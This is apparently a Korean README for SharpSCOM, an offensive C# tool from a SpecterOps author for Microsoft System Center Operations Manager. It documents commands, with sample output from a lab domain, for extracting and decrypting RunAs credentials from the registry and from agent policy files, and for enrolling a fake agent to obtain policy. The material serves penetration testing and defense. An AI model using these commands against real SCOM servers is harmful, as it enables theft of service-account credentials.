
SCOM과 상호작용하기 위한 C# 유틸리티
Microsoft System Center Operations Manager(SCOM)와 상호작용하기 위한 C# 도구입니다.
이 도구는 SCOM Server 버전 10.22.10118.0에서 테스트되었습니다.
SSPI 통합은 Kevin Thompson(antiduh)이 BSD-2 라이선스로 배포한 nsspi 라이브러리를 통해 제공됩니다.
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
Usage: SharpSCOM <command> [options]
Commands:
RegisterAgent Register a new agent with SCOM server
RegisterCertificate Assign a certificate to an existing agent
RequestPolicy Request policy from SCOM server
DownloadPolicy Download policy from SCOM server
AutoEnroll Send a multi-part request consisting of RegisterAgent, RegisterCertificate and RequestPolicy and attempt to automatically download the policy
DecryptPolicy Decrypt SecureData section from a policy file
DecryptRunAs Extract and decrypt RunAs credentials from registry
Common Options:
/hostname:<name> Computer hostname (default: current machine)
/managementgroup:<mg> SCOM management group name
/server:<server> SCOM server address
/port:<port> SCOM server port (default: 5723)
/outfile:<file> Output file path
/data:<base64> Base64-encoded data
/key:<xml> RSA private key in XML format
/verbose Enable verbose output
/help Show this help message
Examples:
SharpSCOM AutoEnroll /managementgroup:MG1 /server:scom.domain.com
SharpSCOM DecryptPolicy /data:<base64> /outfile:policy.xml
SharpSCOM DecryptRunAs
다음 명령은 현재 SCOM에 등록된 서버에서 실행하도록 설계되었습니다. RunAs 자격 증명이 사용 중이고 서버에 배포된 경우, 아래 명령을 사용하여 평문 자격 증명을 복구할 수 있습니다.
레지스트리에서 RunAs 자격 증명을 추출하고 복호화합니다(로컬 관리자 권한 필요):
SharpSCOM.exe decryptrunas
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
[+] Searching for RunAs credentials in registry...
[+] Found 4 credentials
Username: ludus\opsmgr_action
Password: Password123
Username: ludus\opsmgr_dataread
Password: Password123
Username: ludus\opsmgr_datawrite
Password: Password123
Username: ludus\runas_account
Password: SuperSecure!
[+] Completed
에이전트 정책 XML 파일의 SecureData 섹션에 저장된 RunAs 자격 증명을 추출하고 복호화합니다. 기본적으로 이 파일은 C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\Connector Configuration Cache\$MANAGEMENT_GROUP_NAME$\OpsMgrConnector.Config에서 찾을 수 있습니다.
이 명령은 Local Machine\Microsoft Monitoring Agent 저장소에서 현재 SCOM RunAs 인증서를 찾아 해당 개인 키를 복호화에 사용합니다.
SharpSCOM DecryptPolicy /data:<base64-encrypted-data>
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
[+] Attempting to decrypt policy data...
[+] Using certificate from store
[+] Found certificate in Microsoft Monitoring Agent store
[+] Subject: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Issuer: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Thumbprint: 88D3E2AC575795E5F5F0E0C2EAFFB5FC386EA52F
[+] Key Size: 2048
[+] RSA key loaded successfully from certificate
[+] SecureData decrypted successfully!
<SecureStorageContainer><SecureStorageReferences><Added><SecureStorageReference Identity="63745834-3e54-936c-1b47-2d632054a177"><TargetSSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</TargetSSID></SecureStorageReference></Added><Removed /><Modified /></SecureStorageReferences><SecureStorageElements><Added><SecureStorageElement Type="WindowsCredential"><SSID>00C29753F0583B2A1D9D0D81DF24F0FBA31D72B17A00000000000000000000000000000000000000</SSID><Domain>ludus</Domain><UserName>runas_account</UserName><Password>UwB1AHAAZQByAFMAZQBjAHUAcgBlACEA</Password></SecureStorageElement><SecureStorageElement Type="ActionAccountCredential"><SSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</SSID><Domain>NT Authority</Domain><UserName>LocalSystem</UserName></SecureStorageElement></Added><Removed /><Modified /></SecureStorageElements></SecureStorageContainer>
현재 SCOM에 등록되어 있지 않은 도메인 가입 호스트를 제어할 수 있다면, 아래 요구 사항이 충족되는 경우 장치 등록을 시도하고 에이전트 정책 XML 파일을 요청할 수 있습니다.
요구 사항:
새 장치를 등록하기 위해 SCOM 에이전트는 아래 4개의 메시지를 각각 SCOM 서버로 전송합니다.
| Command | Description |
|---|---|
RegisterAgent | SCOM 서버에 새 에이전트 등록 |
RegisterCertificate | 기존 에이전트에 인증서 할당 |
RequestPolicy | SCOM 서버에 정책 요청 |
DownloadPolicy | SCOM 서버에서 정책 다운로드 |
테스트 목적으로 위 메시지 각각을 SharpSCOM의 해당 명령을 사용하여 SCOM 서버에 개별적으로 보낼 수 있습니다.
참고: SCOM 서버는 이러한 메시지를 다중 메시지 요청의 일부로 함께 수신할 것을 기대합니다. 에이전트 정책 파일을 안정적으로 수신하려면
RegisterAgent,RegisterCertificate및RequestPolicy명령을 다중 파트 메시지로 함께 전송하는AutoEnroll명령을 사용해야 합니다.
AutoEnroll 명령을 보내면 SCOM 서버의 응답이 자동으로 파싱되어 에이전트 정책 XML 파일을 다운로드하기 위한 최종 DownloadPolicy 메시지를 생성하는 데 사용됩니다.
SharpSCOM.exe autoenroll /managementgroup:SCOM1 /server:scom-om1.ludus.domain /hostname:fake1.ludus.domain /outfile:C:\Users\domainadmin\desktop\policy_new.xml
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1